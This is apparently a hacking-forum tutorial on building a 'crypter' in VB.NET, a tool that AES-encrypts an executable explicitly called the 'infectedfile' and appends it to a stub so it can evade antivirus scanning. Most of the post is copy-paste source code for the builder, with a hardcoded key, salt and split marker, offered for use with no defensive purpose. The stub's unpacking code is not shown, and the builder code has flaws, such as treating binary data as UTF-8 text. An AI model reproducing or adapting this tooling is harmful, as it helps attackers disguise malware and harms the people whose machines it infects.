r00tc0d3rs™

This tutorial will show you how to make a crypter in vb-net

1: Lets make a Kool GUI

If you got photoshop any version, open it and make a theme like this :

Now lets move into Coding!

You will need from the ToolBox:

1 Button - Crypt
1 Button - ... or Browse
1 TextBox

Example :


Go to the ToolBox > Dialogs and look for OpenFileDialog
And Drag one of OpenFileDialog and put on the Form1...

Now double click on the form1 and at the top put this Imports

Imports System.Security.Cryptography
Imports System.IO
Imports System.Text
Imports System.Runtime.InteropServices

And now Double click on ..or Browse Button

Public Class Form1
    Dim infectedfile, stub As String
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As  System.EventArgs) Handles Button1.Click
        With OpenFileDialog1
            .FileName = ""
            .Filter = "Executable(*.exe)|*.exe"
            .Title = "Simple Crypter"
            .ShowDialog()
            TextBox1.Text = .FileName
            infectedfile = TextBox1.Text
        End With
    End Sub

Now Double Click on Crypt Button, and Copy and paste this Source Code

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Dim key As String = "3p69974776oo38083sn"
        Dim Splitt As String = "8bda087463442db5"
        Dim Cryptfile As String
        FileOpen(1, ("stub.exe"), OpenMode.Binary)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)
        FileOpen(1, (TextBox1.Text), OpenMode.Binary)
        infectedfile = Space(LOF(1))
        FileGet(1, infectedfile)
        FileClose(1)
        Cryptfile = infectedfile
        Dim oAesProvider As New RijndaelManaged
        Dim btClear() As Byte

        Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}

        Dim oKeyGenerator As New Rfc2898DeriveBytes(key, btSalt)

        oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
        oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)

        Dim ms As New IO.MemoryStream
        Dim cs As New CryptoStream(ms, _
            oAesProvider.CreateEncryptor(), _
            CryptoStreamMode.Write)
        btClear = System.Text.Encoding.UTF8.GetBytes(Cryptfile)
        cs.Write(btClear, 0, btClear.Length)
        cs.Close()
        Cryptfile = Convert.ToBase64String(ms.ToArray)
        FileOpen(1, (TextBox1.Text & "-Crypted.exe"), OpenMode.Binary)
        FilePut(1, stub)
        FilePut(1, Splitt)
        FilePut(1, Cryptfile)
        FilePut(1, Splitt)
        FileClose(1)
        MsgBox("Error Please try Again:")
        MsgBox("Crypted ", MsgBoxStyle.Information, "Information")